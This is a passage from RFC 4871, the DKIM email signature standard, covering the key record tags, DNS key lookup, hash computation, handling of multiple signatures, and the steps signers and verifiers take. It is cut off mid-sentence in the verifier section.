order to avoid excessively long lines; + such whitespace is NOT part of the value of the header field, and + MUST be removed before decoding. + + The header fields referenced by the "h=" tag refer to the fields in + the RFC 2822 header of the message, not to any copied fields in + the "z=" tag. Copied header field values are for diagnostic use. + + Header fields with characters requiring conversion (perhaps from + legacy MTAs that are not [RFC2822] compliant) SHOULD be converted + as described in MIME Part Three [RFC2047]. + + ABNF: + sig-z-tag = %x7A [FWS] "=" [FWS] sig-z-tag-copy + *( [FWS] "|" sig-z-tag-copy ) + sig-z-tag-copy = hdr-name ":" qp-hdr-value + qp-hdr-value = dkim-quoted-printable ; with "|" encoded + + INFORMATIVE EXAMPLE of a signature header field spread across + multiple continuation lines: + + + + + + + + + + + + +Allman, et al. Standards Track [Page 24] + +RFC 4871 DKIM Signatures May 2007 + + + DKIM-Signature: a=rsa-sha256; d=example.net; s=brisbane; + c=simple; q=dns/txt; i=@eng.example.net; + t=1117574938; x=1118006938; + h=from:to:subject:date; + z=From:foo@eng.example.net|To:joe@example.com| + Subject:demo=20run|Date:July=205,=202005=203:44:08=20PM=20-0700; + bh=MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTI=; + b=dzdVyOfAKCdLXdJOc9G2q8LoXSlEniSbav+yuU4zGeeruD00lszZ + VoG4ZHRNiYzR + +3.6. Key Management and Representation + + Signature applications require some level of assurance that the + verification public key is associated with the claimed signer. Many + applications achieve this by using public key certificates issued by + a trusted third party. However, DKIM can achieve a sufficient level + of security, with significantly enhanced scalability, by simply + having the verifier query the purported signer's DNS entry (or some + security-equivalent) in order to retrieve the public key. + + DKIM keys can potentially be stored in multiple types of key servers + and in multiple formats. The storage and format of keys are + irrelevant to the remainder of the DKIM algorithm. + + Parameters to the key lookup algorithm are the type of the lookup + (the "q=" tag), the domain of the signer (the "d=" tag of the DKIM- + Signature header field), and the selector (the "s=" tag). + + public_key = dkim_find_key(q_val, d_val, s_val) + + This document defines a single binding, using DNS TXT records to + distribute the keys. Other bindings may be defined in the future. + +3.6.1. Textual Representation + + It is expected that many key servers will choose to present the keys + in an otherwise unstructured text format (for example, an XML form + would not be considered to be unstructured text for this purpose). + The following definition MUST be used for any DKIM key represented in + an otherwise unstructured textual form. + + The overall syntax is a tag-list as described in Section 3.2. The + current valid tags are described below. Other tags MAY be present + and MUST be ignored by any implementation that does not understand + them. + + + + + + +Allman, et al. Standards Track [Page 25] + +RFC 4871 DKIM Signatures May 2007 + + + v= Version of the DKIM key record (plain-text; RECOMMENDED, default + is "DKIM1"). If specified, this tag MUST be set to "DKIM1" + (without the quotes). This tag MUST be the first tag in the + record. Records beginning with a "v=" tag with any other value + MUST be discarded. Note that verifiers must do a string + comparison on this value; for example, "DKIM1" is not the same as + "DKIM1.0". + + ABNF: + + key-v-tag = %x76 [FWS] "=" [FWS] "DKIM1" + + g= Granularity of the key (plain-text; OPTIONAL, default is "*"). + This value MUST match the Local-part of the "i=" tag of the DKIM- + Signature header field (or its default value of the empty string + if "i=" is not specified), with a single, optional "*" character + matching a sequence of zero or more arbitrary characters + ("wildcarding"). An email with a signing address that does not + match the value of this tag constitutes a failed verification. + The intent of this tag is to constrain which signing address can + legitimately use this selector, for example, when delegating a + key to a third party that should only be used for special + purposes. Wildcarding allows matching for addresses such as + "user+*" or "*-offer". An empty "g=" value never matches any + addresses. + + ABNF: + + key-g-tag = %x67 [FWS] "=" [FWS] key-g-tag-lpart + key-g-tag-lpart = [dot-atom-text] ["*" [dot-atom-text] ] + + h= Acceptable hash algorithms (plain-text; OPTIONAL, defaults to + allowing all algorithms). A colon-separated list of hash + algorithms that might be used. Signers and Verifiers MUST + support the "sha256" hash algorithm. Verifiers MUST also support + the "sha1" hash algorithm. + + ABNF: + + key-h-tag = %x68 [FWS] "=" [FWS] key-h-tag-alg + 0*( [FWS] ":" [FWS] key-h-tag-alg ) + key-h-tag-alg = "sha1" / "sha256" / x-key-h-tag-alg + x-key-h-tag-alg = hyphenated-word ; for future extension + + + + + + + + +Allman, et al. Standards Track [Page 26] + +RFC 4871 DKIM Signatures May 2007 + + + k= Key type (plain-text; OPTIONAL, default is "rsa"). Signers and + verifiers MUST support the "rsa" key type. The "rsa" key type + indicates that an ASN.1 DER-encoded [ITU.X660.1997] RSAPublicKey + [RFC3447] (see Sections 3.1 and A.1.1) is being used in the "p=" + tag. (Note: the "p=" tag further encodes the value using the + base64 algorithm.) + + ABNF: + + key-k-tag = %x76 [FWS] "=" [FWS] key-k-tag-type + key-k-tag-type = "rsa" / x-key-k-tag-type + x-key-k-tag-type = hyphenated-word ; for future extension + + n= Notes that might be of interest to a human (qp-section; OPTIONAL, + default is empty). No interpretation is made by any program. + This tag should be used sparingly in any key server mechanism + that has space limitations (notably DNS). This is intended for + use by administrators, not end users. + + ABNF: + + key-n-tag = %x6e [FWS] "=" [FWS] qp-section + + p= Public-key data (base64; REQUIRED). An empty value means that + this public key has been revoked. The syntax and semantics of + this tag value before being encoded in base64 are defined by the + "k=" tag. + + INFORMATIVE RATIONALE: If a private key has been compromised + or otherwise disabled (e.g., an outsourcing contract has been + terminated), a signer might want to explicitly state that it + knows about the selector, but all messages using that + selector should fail verification. Verifiers should ignore + any DKIM-Signature header fields with a selector referencing + a revoked key. + + ABNF: + + key-p-tag = %x70 [FWS] "=" [ [FWS] base64string ] + + INFORMATIVE NOTE: A base64string is permitted to include white + space (FWS) at arbitrary places; however, any CRLFs must be + followed by at least one WSP character. Implementors and + administrators are cautioned to ensure that selector TXT + records conform to this specification. + + + + + + +Allman, et al. Standards Track [Page 27] + +RFC 4871 DKIM Signatures May 2007 + + + s= Service Type (plain-text; OPTIONAL; default is "*"). A colon- + separated list of service types to which this record applies. + Verifiers for a given service type MUST ignore this record if the + appropriate type is not listed. Currently defined service types + are as follows: + + * matches all service types + + email electronic mail (not necessarily limited to SMTP) + + This tag is intended to constrain the use of keys for other + purposes, should use of DKIM be defined by other services in the + future. + + ABNF: + + key-s-tag = %x73 [FWS] "=" [FWS] key-s-tag-type + 0*( [FWS] ":" [FWS] key-s-tag-type ) + key-s-tag-type = "email" / "*" / x-key-s-tag-type + x-key-s-tag-type = hyphenated-word ; for future extension + + t= Flags, represented as a colon-separated list of names (plain- + text; OPTIONAL, default is no flags set). The defined flags are + as follows: + + y This domain is testing DKIM. Verifiers MUST NOT treat + messages from signers in testing mode differently from + unsigned email, even should the signature fail to verify. + Verifiers MAY wish to track testing mode results to assist + the signer. + + s Any DKIM-Signature header fields using the "i=" tag MUST have + the same domain value on the right-hand side of the "@" in + the "i=" tag and the value of the "d=" tag. That is, the + "i=" domain MUST NOT be a subdomain of "d=". Use of this + flag is RECOMMENDED unless subdomaining is required. + + ABNF: + + key-t-tag = %x74 [FWS] "=" [FWS] key-t-tag-flag + 0*( [FWS] ":" [FWS] key-t-tag-flag ) + key-t-tag-flag = "y" / "s" / x-key-t-tag-flag + x-key-t-tag-flag = hyphenated-word ; for future extension + + Unrecognized flags MUST be ignored. + + + + + + +Allman, et al. Standards Track [Page 28] + +RFC 4871 DKIM Signatures May 2007 + + +3.6.2. DNS Binding + + A binding using DNS TXT records as a key service is hereby defined. + All implementations MUST support this binding. + +3.6.2.1. Namespace + + All DKIM keys are stored in a subdomain named "_domainkey". Given a + DKIM-Signature field with a "d=" tag of "example.com" and an "s=" tag + of "foo.bar", the DNS query will be for + "foo.bar._domainkey.example.com". + + INFORMATIVE OPERATIONAL NOTE: Wildcard DNS records (e.g., + *.bar._domainkey.example.com) do not make sense in this context + and should not be used. Note also that wildcards within domains + (e.g., s._domainkey.*.example.com) are not supported by the DNS. + +3.6.2.2. Resource Record Types for Key Storage + + The DNS Resource Record type used is specified by an option to the + query-type ("q=") tag. The only option defined in this base + specification is "txt", indicating the use of a TXT Resource Record + (RR). A later extension of this standard may define another RR type. + + Strings in a TXT RR MUST be concatenated together before use with no + intervening whitespace. TXT RRs MUST be unique for a particular + selector name; that is, if there are multiple records in an RRset, + the results are undefined. + + TXT RRs are encoded as described in Section 3.6.1. + +3.7. Computing the Message Hashes + + Both signing and verifying message signatures start with a step of + computing two cryptographic hashes over the message. Signers will + choose the parameters of the signature as described in Signer Actions + (Section 5); verifiers will use the parameters specified in the DKIM- + Signature header field being verified. In the following discussion, + the names of the tags in the DKIM-Signature header field that either + exists (when verifying) or will be created (when signing) are used. + Note that canonicalization (Section 3.4) is only used to prepare the + email for signing or verifying; it does not affect the transmitted + email in any way. + + The signer/verifier MUST compute two hashes, one over the body of the + message and one over the selected header fields of the message. + + + + + +Allman, et al. Standards Track [Page 29] + +RFC 4871 DKIM Signatures May 2007 + + + Signers MUST compute them in the order shown. Verifiers MAY compute + them in any order convenient to the verifier, provided that the + result is semantically identical to the semantics that would be the + case had they been computed in this order. + + In hash step 1, the signer/verifier MUST hash the message body, + canonicalized using the body canonicalization algorithm specified in + the "c=" tag and then truncated to the length specified in the "l=" + tag. That hash value is then converted to base64 form and inserted + into (signers) or compared to (verifiers) the "bh=" tag of the DKIM- + Signature header field. + + In hash step 2, the signer/verifier MUST pass the following to the + hash algorithm in the indicated order. + + 1. The header fields specified by the "h=" tag, in the order + specified in that tag, and canonicalized using the header + canonicalization algorithm specified in the "c=" tag. Each + header field MUST be terminated with a single CRLF. + + 2. The DKIM-Signature header field that exists (verifying) or will + be inserted (signing) in the message, with the value of the "b=" + tag deleted (i.e., treated as the empty string), canonicalized + using the header canonicalization algorithm specified in the "c=" + tag, and without a trailing CRLF. + + All tags and their values in the DKIM-Signature header field are + included in the cryptographic hash with the sole exception of the + value portion of the "b=" (signature) tag, which MUST be treated as + the null string. All tags MUST be included even if they might not be + understood by the verifier. The header field MUST be presented to + the hash algorithm after the body of the message rather than with the + rest of the header fields and MUST be canonicalized as specified in + the "c=" (canonicalization) tag. The DKIM-Signature header field + MUST NOT be included in its own h= tag, although other DKIM-Signature + header fields MAY be signed (see Section 4). + + When calculating the hash on messages that will be transmitted using + base64 or quoted-printable encoding, signers MUST compute the hash + after the encoding. Likewise, the verifier MUST incorporate the + values into the hash before decoding the base64 or quoted-printable + text. However, the hash MUST be computed before transport level + encodings such as SMTP "dot-stuffing" (the modification of lines + beginning with a "." to avoid confusion with the SMTP end-of-message + marker, as specified in [RFC2821]). + + With the exception of the canonicalization procedure described in + Section 3.4, the DKIM signing process treats the body of messages as + + + +Allman, et al. Standards Track [Page 30] + +RFC 4871 DKIM Signatures May 2007 + + + simply a string of octets. DKIM messages MAY be either in plain-text + or in MIME format; no special treatment is afforded to MIME content. + Message attachments in MIME format MUST be included in the content + that is signed. + + More formally, the algorithm for the signature is as follows: + body-hash = hash-alg(canon_body) + header-hash = hash-alg(canon_header || DKIM-SIG) + signature = sig-alg(header-hash, key) + + where "sig-alg" is the signature algorithm specified by the "a=" tag, + "hash-alg" is the hash algorithm specified by the "a=" tag, + "canon_header" and "canon_body" are the canonicalized message header + and body (respectively) as defined in Section 3.4 (excluding the + DKIM-Signature header field), and "DKIM-SIG" is the canonicalized + DKIM-Signature header field sans the signature value itself, but with + "body-hash" included as the "bh=" tag. + + INFORMATIVE IMPLEMENTERS' NOTE: Many digital signature APIs + provide both hashing and application of the RSA private key using + a single "sign()" primitive. When using such an API, the last two + steps in the algorithm would probably be combined into a single + call that would perform both the "hash-alg" and the "sig-alg". + +3.8. Signing by Parent Domains + + In some circumstances, it is desirable for a domain to apply a + signature on behalf of any of its subdomains without the need to + maintain separate selectors (key records) in each subdomain. By + default, private keys corresponding to key records can be used to + sign messages for any subdomain of the domain in which they reside; + e.g., a key record for the domain example.com can be used to verify + messages where the signing identity ("i=" tag of the signature) is + sub.example.com, or even sub1.sub2.example.com. In order to limit + the capability of such keys when this is not intended, the "s" flag + may be set in the "t=" tag of the key record to constrain the + validity of the record to exactly the domain of the signing identity. + If the referenced key record contains the "s" flag as part of the + "t=" tag, the domain of the signing identity ("i=" flag) MUST be the + same as that of the d= domain. If this flag is absent, the domain of + the signing identity MUST be the same as, or a subdomain of, the d= + domain. Key records that are not intended for use with subdomains + SHOULD specify the "s" flag in the "t=" tag. + + + + + + + + +Allman, et al. Standards Track [Page 31] + +RFC 4871 DKIM Signatures May 2007 + + +4. Semantics of Multiple Signatures + +4.1. Example Scenarios + + There are many reasons why a message might have multiple signatures. + For example, a given signer might sign multiple times, perhaps with + different hashing or signing algorithms during a transition phase. + + INFORMATIVE EXAMPLE: Suppose SHA-256 is in the future found to be + insufficiently strong, and DKIM usage transitions to SHA-1024. A + signer might immediately sign using the newer algorithm, but + continue to sign using the older algorithm for interoperability + with verifiers that had not yet upgraded. The signer would do + this by adding two DKIM-Signature header fields, one using each + algorithm. Older verifiers that did not recognize SHA-1024 as an + acceptable algorithm would skip that signature and use the older + algorithm; newer verifiers could use either signature at their + option, and all other things being equal might not even attempt to + verify the other signature. + + Similarly, a signer might sign a message including all headers and no + "l=" tag (to satisfy strict verifiers) and a second time with a + limited set of headers and an "l=" tag (in anticipation of possible + message modifications in route to other verifiers). Verifiers could + then choose which signature they preferred. + + INFORMATIVE EXAMPLE: A verifier might receive a message with two + signatures, one covering more of the message than the other. If + the signature covering more of the message verified, then the + verifier could make one set of policy decisions; if that signature + failed but the signature covering less of the message verified, + the verifier might make a different set of policy decisions. + + Of course, a message might also have multiple signatures because it + passed through multiple signers. A common case is expected to be + that of a signed message that passes through a mailing list that also + signs all messages. Assuming both of those signatures verify, a + recipient might choose to accept the message if either of those + signatures were known to come from trusted sources. + + INFORMATIVE EXAMPLE: Recipients might choose to whitelist mailing + lists to which they have subscribed and that have acceptable anti- + abuse policies so as to accept messages sent to that list even + from unknown authors. They might also subscribe to less trusted + mailing lists (e.g., those without anti-abuse protection) and be + willing to accept all messages from specific authors, but insist + on doing additional abuse scanning for other messages. + + + + +Allman, et al. Standards Track [Page 32] + +RFC 4871 DKIM Signatures May 2007 + + + Another related example of multiple signers might be forwarding + services, such as those commonly associated with academic alumni + sites. + + INFORMATIVE EXAMPLE: A recipient might have an address at + members.example.org, a site that has anti-abuse protection that is + somewhat less effective than the recipient would prefer. Such a + recipient might have specific authors whose messages would be + trusted absolutely, but messages from unknown authors that had + passed the forwarder's scrutiny would have only medium trust. + +4.2. Interpretation + + A signer that is adding a signature to a message merely creates a new + DKIM-Signature header, using the usual semantics of the h= option. A + signer MAY sign previously existing DKIM-Signature header fields + using the method described in Section 5.4 to sign trace header + fields. + + INFORMATIVE NOTE: Signers should be cognizant that signing DKIM- + Signature header fields may result in signature failures with + intermediaries that do not recognize that DKIM-Signature header + fields are trace header fields and unwittingly reorder them, thus + breaking such signatures. For this reason, signing existing DKIM- + Signature header fields is unadvised, albeit legal. + + INFORMATIVE NOTE: If a header field with multiple instances is + signed, those header fields are always signed from the bottom up. + Thus, it is not possible to sign only specific DKIM-Signature + header fields. For example, if the message being signed already + contains three DKIM-Signature header fields A, B, and C, it is + possible to sign all of them, B and C only, or C only, but not A + only, B only, A and B only, or A and C only. + + A signer MAY add more than one DKIM-Signature header field using + different parameters. For example, during a transition period a + signer might want to produce signatures using two different hash + algorithms. + + Signers SHOULD NOT remove any DKIM-Signature header fields from + messages they are signing, even if they know that the signatures + cannot be verified. + + When evaluating a message with multiple signatures, a verifier SHOULD + evaluate signatures independently and on their own merits. For + example, a verifier that by policy chooses not to accept signatures + with deprecated cryptographic algorithms would consider such + signatures invalid. Verifiers MAY process signatures in any order of + + + +Allman, et al. Standards Track [Page 33] + +RFC 4871 DKIM Signatures May 2007 + + + their choice; for example, some verifiers might choose to process + signatures corresponding to the From field in the message header + before other signatures. See Section 6.1 for more information about + signature choices. + + INFORMATIVE IMPLEMENTATION NOTE: Verifier attempts to correlate + valid signatures with invalid signatures in an attempt to guess + why a signature failed are ill-advised. In particular, there is + no general way that a verifier can determine that an invalid + signature was ever valid. + + Verifiers SHOULD ignore failed signatures as though they were not + present in the message. Verifiers SHOULD continue to check + signatures until a signature successfully verifies to the + satisfaction of the verifier. To limit potential denial-of-service + attacks, verifiers MAY limit the total number of signatures they will + attempt to verify. + +5. Signer Actions + + The following steps are performed in order by signers. + +5.1. Determine Whether the Email Should Be Signed and by Whom + + A signer can obviously only sign email for domains for which it has a + private key and the necessary knowledge of the corresponding public + key and selector information. However, there are a number of other + reasons beyond the lack of a private key why a signer could choose + not to sign an email. + + INFORMATIVE NOTE: Signing modules may be incorporated into any + portion of the mail system as deemed appropriate, including an + MUA, a SUBMISSION server, or an MTA. Wherever implemented, + signers should beware of signing (and thereby asserting + responsibility for) messages that may be problematic. In + particular, within a trusted enclave the signing address might be + derived from the header according to local policy; SUBMISSION + servers might only sign messages from users that are properly + authenticated and authorized. + + INFORMATIVE IMPLEMENTER ADVICE: SUBMISSION servers should not sign + Received header fields if the outgoing gateway MTA obfuscates + Received header fields, for example, to hide the details of + internal topology. + + If an email cannot be signed for some reason, it is a local policy + decision as to what to do with that email. + + + + +Allman, et al. Standards Track [Page 34] + +RFC 4871 DKIM Signatures May 2007 + + +5.2. Select a Private Key and Corresponding Selector Information + + This specification does not define the basis by which a signer should + choose which private key and selector information to use. Currently, + all selectors are equal as far as this specification is concerned, so + the decision should largely be a matter of administrative + convenience. Distribution and management of private keys is also + outside the scope of this document. + + INFORMATIVE OPERATIONS ADVICE: A signer should not sign with a + private key when the selector containing the corresponding public + key is expected to be revoked or removed before the verifier has + an opportunity to validate the signature. The signer should + anticipate that verifiers may choose to defer validation, perhaps + until the message is actually read by the final recipient. In + particular, when rotating to a new key pair, signing should + immediately commence with the new private key and the old public + key should be retained for a reasonable validation interval before + being removed from the key server. + +5.3. Normalize the Message to Prevent Transport Conversions + + Some messages, particularly those using 8-bit characters, are subject + to modification during transit, notably conversion to 7-bit form. + Such conversions will break DKIM signatures. In order to minimize + the chances of such breakage, signers SHOULD convert the message to a + suitable MIME content transfer encoding such as quoted-printable or + base64 as described in MIME Part One [RFC2045] before signing. Such + conversion is outside the scope of DKIM; the actual message SHOULD be + converted to 7-bit MIME by an MUA or MSA prior to presentation to the + DKIM algorithm. + + If the message is submitted to the signer with any local encoding + that will be modified before transmission, that modification to + canonical [RFC2822] form MUST be done before signing. In particular, + bare CR or LF characters (used by some systems as a local line + separator convention) MUST be converted to the SMTP-standard CRLF + sequence before the message is signed. Any conversion of this sort + SHOULD be applied to the message actually sent to the recipient(s), + not just to the version presented to the signing algorithm. + + More generally, the signer MUST sign the message as it is expected to + be received by the verifier rather than in some local or internal + form. + + + + + + + +Allman, et al. Standards Track [Page 35] + +RFC 4871 DKIM Signatures May 2007 + + +5.4. Determine the Header Fields to Sign + + The From header field MUST be signed (that is, included in the "h=" + tag of the resulting DKIM-Signature header field). Signers SHOULD + NOT sign an existing header field likely to be legitimately modified + or removed in transit. In particular, [RFC2821] explicitly permits + modification or removal of the Return-Path header field in transit. + Signers MAY include any other header fields present at the time of + signing at the discretion of the signer. + + INFORMATIVE OPERATIONS NOTE: The choice of which header fields to + sign is non-obvious. One strategy is to sign all existing, non- + repeatable header fields. An alternative strategy is to sign only + header fields that are likely to be displayed to or otherwise be + likely to affect the processing of the message at the receiver. A + third strategy is to sign only "well known" headers. Note that + verifiers may treat unsigned header fields with extreme + skepticism, including refusing to display them to the end user or + even ignoring the signature if it does not cover certain header + fields. For this reason, signing fields present in the message + such as Date, Subject, Reply-To, Sender, and all MIME header + fields are highly advised. + + The DKIM-Signature header field is always implicitly signed and MUST + NOT be included in the "h=" tag except to indicate that other + preexisting signatures are also signed. + + Signers MAY claim to have signed header fields that do not exist + (that is, signers MAY include the header field name in the "h=" tag + even if that header field does not exist in the message). When + computing the signature, the non-existing header field MUST be + treated as the null string (including the header field name, header + field value, all punctuation, and the trailing CRLF). + + INFORMATIVE RATIONALE: This allows signers to explicitly assert + the absence of a header field; if that header field is added later + the signature will fail. + + INFORMATIVE NOTE: A header field name need only be listed once + more than the actual number of that header field in a message at + the time of signing in order to prevent any further additions. + For example, if there is a single Comments header field at the + time of signing, listing Comments twice in the "h=" tag is + sufficient to prevent any number of Comments header fields from + being appended; it is not necessary (but is legal) to list + Comments three or more times in the "h=" tag. + + + + + +Allman, et al. Standards Track [Page 36] + +RFC 4871 DKIM Signatures May 2007 + + + Signers choosing to sign an existing header field that occurs more + than once in the message (such as Received) MUST sign the physically + last instance of that header field in the header block. Signers + wishing to sign multiple instances of such a header field MUST + include the header field name multiple times in the h= tag of the + DKIM-Signature header field, and MUST sign such header fields in + order from the bottom of the header field block to the top. The + signer MAY include more instances of a header field name in h= than + there are actual corresponding header fields to indicate that + additional header fields of that name SHOULD NOT be added. + + INFORMATIVE EXAMPLE: + + If the signer wishes to sign two existing Received header fields, + and the existing header contains: + + Received: + Received: + Received: + + then the resulting DKIM-Signature header field should read: + + DKIM-Signature: ... h=Received : Received : ... + + and Received header fields and will be signed in that + order. + + Signers should be careful of signing header fields that might have + additional instances added later in the delivery process, since such + header fields might be inserted after the signed instance or + otherwise reordered. Trace header fields (such as Received) and + Resent-* blocks are the only fields prohibited by [RFC2822] from + being reordered. In particular, since DKIM-Signature header fields + may be reordered by some intermediate MTAs, signing existing DKIM- + Signature header fields is error-prone. + + INFORMATIVE ADMONITION: Despite the fact that [RFC2822] permits + header fields to be reordered (with the exception of Received + header fields), reordering of signed header fields with multiple + instances by intermediate MTAs will cause DKIM signatures to be + broken; such anti-social behavior should be avoided. + + INFORMATIVE IMPLEMENTER'S NOTE: Although not required by this + specification, all end-user visible header fields should be signed + to avoid possible "indirect spamming". For example, if the + Subject header field is not signed, a spammer can resend a + previously signed mail, replacing the legitimate subject with a + one-line spam. + + + +Allman, et al. Standards Track [Page 37] + +RFC 4871 DKIM Signatures May 2007 + + +5.5. Recommended Signature Content + + In order to maximize compatibility with a variety of verifiers, it is + recommended that signers follow the practices outlined in this + section when signing a message. However, these are generic + recommendations applying to the general case; specific senders may + wish to modify these guidelines as required by their unique + situations. Verifiers MUST be capable of verifying signatures even + if one or more of the recommended header fields is not signed (with + the exception of From, which must always be signed) or if one or more + of the disrecommended header fields is signed. Note that verifiers + do have the option of ignoring signatures that do not cover a + sufficient portion of the header or body, just as they may ignore + signatures from an identity they do not trust. + + The following header fields SHOULD be included in the signature, if + they are present in the message being signed: + + o From (REQUIRED in all signatures) + + o Sender, Reply-To + + o Subject + + o Date, Message-ID + + o To, Cc + + o MIME-Version + + o Content-Type, Content-Transfer-Encoding, Content-ID, Content- + Description + + o Resent-Date, Resent-From, Resent-Sender, Resent-To, Resent-Cc, + Resent-Message-ID + + o In-Reply-To, References + + o List-Id, List-Help, List-Unsubscribe, List-Subscribe, List-Post, + List-Owner, List-Archive + + The following header fields SHOULD NOT be included in the signature: + + o Return-Path + + o Received + + o Comments, Keywords + + + +Allman, et al. Standards Track [Page 38] + +RFC 4871 DKIM Signatures May 2007 + + + o Bcc, Resent-Bcc + + o DKIM-Signature + + Optional header fields (those not mentioned above) normally SHOULD + NOT be included in the signature, because of the potential for + additional header fields of the same name to be legitimately added or + reordered prior to verification. There are likely to be legitimate + exceptions to this rule, because of the wide variety of application- + specific header fields that may be applied to a message, some of + which are unlikely to be duplicated, modified, or reordered. + + Signers SHOULD choose canonicalization algorithms based on the types + of messages they process and their aversion to risk. For example, + e-commerce sites sending primarily purchase receipts, which are not + expected to be processed by mailing lists or other software likely to + modify messages, will generally prefer "simple" canonicalization. + Sites sending primarily person-to-person email will likely prefer to + be more resilient to modification during transport by using "relaxed" + canonicalization. + + Signers SHOULD NOT use "l=" unless they intend to accommodate + intermediate mail processors that append text to a message. For + example, many mailing list processors append "unsubscribe" + information to message bodies. If signers use "l=", they SHOULD + include the entire message body existing at the time of signing in + computing the count. In particular, signers SHOULD NOT specify a + body length of 0 since this may be interpreted as a meaningless + signature by some verifiers. + +5.6. Compute the Message Hash and Signature + + The signer MUST compute the message hash as described in Section 3.7 + and then sign it using the selected public-key algorithm. This will + result in a DKIM-Signature header field that will include the body + hash and a signature of the header hash, where that header includes + the DKIM-Signature header field itself. + + Entities such as mailing list managers that implement DKIM and that + modify the message or a header field (for example, inserting + unsubscribe information) before retransmitting the message SHOULD + check any existing signature on input and MUST make such + modifications before re-signing the message. + + The signer MAY elect to limit the number of bytes of the body that + will be included in the hash and hence signed. The length actually + hashed should be inserted in the "l=" tag of the DKIM-Signature + header field. + + + +Allman, et al. Standards Track [Page 39] + +RFC 4871 DKIM Signatures May 2007 + + +5.7. Insert the DKIM-Signature Header Field + + Finally, the signer MUST insert the DKIM-Signature header field + created in the previous step prior to transmitting the email. The + DKIM-Signature header field MUST be the same as used to compute the + hash as described above, except that the value of the "b=" tag MUST + be the appropriately signed hash computed in the previous step, + signed using the algorithm specified in the "a=" tag of the DKIM- + Signature header field and using the private key corresponding to the + selector given in the "s=" tag of the DKIM-Signature header field, as + chosen above in Section 5.2 + + The DKIM-Signature header field MUST be inserted before any other + DKIM-Signature fields in the header block. + + INFORMATIVE IMPLEMENTATION NOTE: The easiest way to achieve this + is to insert the DKIM-Signature header field at the beginning of + the header block. In particular, it may be placed before any + existing Received header fields. This is consistent with treating + DKIM-Signature as a trace header field. + +6. Verifier Actions + + Since a signer MAY remove or revoke a public key at any time, it is + recommended that verification occur in a timely manner. In many + configurations, the most timely place is during acceptance by the + border MTA or shortly thereafter. In particular, deferring + verification until the message is accessed by the end user is + discouraged. + + A border or intermediate MTA MAY verify the message signature(s). An + MTA who has performed verification MAY communicate the result of that + verification by adding a verification header field to incoming + messages. This considerably simplifies things for the user, who can + now use an existing mail user agent. Most MUAs have the ability to + filter messages based on message header fields or content; these + filters would be used to implement whatever policy the user wishes + with respect to unsigned mail. + + A verifying MTA MAY implement a policy with respect to unverifiable + mail, regardless of whether or not it applies the verification header + field to signed messages. + + Verifiers MUST produce a result that is semantically equivalent to + applying the following steps in the order listed. In practice, + several of these steps can be performed in parallel in order to + improve performance. + + + + +Allman, et al. Standards Track [Page 40] + +RFC 4871 DKIM Signatures May 2007 + + +6.1. Extract Signatures from the Message + + The order in which verifiers try DKIM-Signature header fields is not + defined; verifiers MAY try signatures in any order they like. For + example, one implementation might try the signatures in textual + order, whereas another might try signatures by identities that match + the contents of the From header field before trying other signatures. + Verifiers MUST NOT attribute ultimate meaning to the order of + multiple DKIM-Signature header fields. In particular, there is + reason to believe that some relays will reorder the header fields in + potentially arbitrary ways. + + INFORMATIVE IMPLEMENTATION NOTE: Verifiers might use the order as + a clue to signing order in the absence of any other information. + However, other clues as to the semantics of multiple signatures + (such as correlating the signing host with Received header fields) + may also be considered. + + A verifier SHOULD NOT treat a message that has one or more bad + signatures and no good signatures differently from a message with no + signature at all; such treatment is a matter of local policy and is + beyond the scope of this document. + + When a signature successfully verifies, a verifier will either stop + processing or attempt to verify any other signatures, at the + discretion of the implementation. A verifier MAY limit the number of + signatures it tries to avoid denial-of-service attacks. + + INFORMATIVE NOTE: An attacker could send messages with large + numbers of faulty signatures, each of which would require a DNS + lookup and corresponding CPU time to verify the message. This + could be an attack on the domain that receives the message, by + slowing down the verifier by requiring it to do a large number of + DNS lookups and/or signature verifications. It could also be an + attack against the domains listed in the signatures, essentially + by enlisting innocent verifiers in launching an attack against the + DNS servers of the actual victim. + + In the following description, text reading "return status + (explanation)" (where "status" is one of "PERMFAIL" or "TEMPFAIL") + means that the verifier MUST immediately cease processing that + signature. The verifier SHOULD proceed to the next signature, if any + is present, and completely ignore the bad signature. If the status + is "PERMFAIL", the signature failed and should not be reconsidered. + If the status is "TEMPFAIL", the signature could not be verified at + this time but may be tried again later. A verifier MAY either defer + the message for later processing, perhaps by queueing it locally or + issuing a 451/4.7.5 SMTP reply, or try another signature; if no good + + + +Allman, et al. Standards Track [Page 41] + +RFC 4871 DKIM Signatures May 2007 + + + signature is found and any of the signatures resulted in a TEMPFAIL + status, the verifier MAY save the message for later processing. The + "(explanation)" is not normative text; it is provided solely for + clarification. + + Verifiers SHOULD ignore any DKIM-Signature header fields where the + signature does not validate. Verifiers that are prepared to validate + multiple signature header fields SHOULD proceed to the next signature + header field, should it exist. However, verifiers MAY make note of + the fact that an invalid signature was present for consideration at a + later step. + + INFORMATIVE NOTE: The rationale of this requirement is to permit + messages that have invalid signatures but also a valid signature + to work. For example, a mailing list exploder might opt to leave + the original submitter signature in place even though the exploder + knows that it is modifying the message in some way that will break + that signature, and the exploder inserts its own signature. In + this case, the message should succeed even in the presence of the + known-broken signature. + + For each signature to be validated, the following steps should be + performed in such a manner as to produce a result that is + semantically equivalent to performing them in the indicated order. + +6.1.1. Validate the Signature Header Field + + Implementers MUST meticulously validate the format and values in the + DKIM-Signature header field; any inconsistency or unexpected values + MUST cause the header field to be completely ignored and the verifier + to return PERMFAIL (signature syntax error). Being "liberal in what + you accept" is definitely a bad strategy in this security context. + Note however that this does not include the existence of unknown tags + in a DKIM-Signature header field, which are explicitly permitted. + + Verifiers MUST ignore DKIM-Signature header fields with a "v=" tag + that is inconsistent with this specification and return PERMFAIL + (incompatible version). + + INFORMATIVE IMPLEMENTATION NOTE: An implementation may, of course, + choose to also verify signatures generated by older versions of + this specification. + + If any tag listed as "required" in Section 3.5 is omitted from the + DKIM-Signature header field, the verifier MUST ignore the DKIM- + Signature header field and return PERMFAIL (signature missing + required tag). + + + + +Allman, et al. Standards Track [Page 42] + +RFC 4871 DKIM Signatures May 2007 + + + INFORMATIONAL NOTE: The tags listed as required in Section 3.5 are + "v=", "a=", "b=", "bh=", "d=", "h=", and "s=". Should there be a + conflict between this note and Section 3.5, Section 3.5 is + normative. + + If the DKIM-Signature header field does not contain the "i=" tag, the + verifier MUST behave as though the value of that tag were "@d", where + "d" is the value from the "d=" tag. + + Verifiers MUST confirm that the domain specified in the "d=" tag is + the same as or a parent domain of the domain part of the "i=" tag. + If not, the DKIM-Signature header field MUST be ignored and the + verifier should return PERMFAIL (domain mismatch). + + If the "h=" tag does not include the From 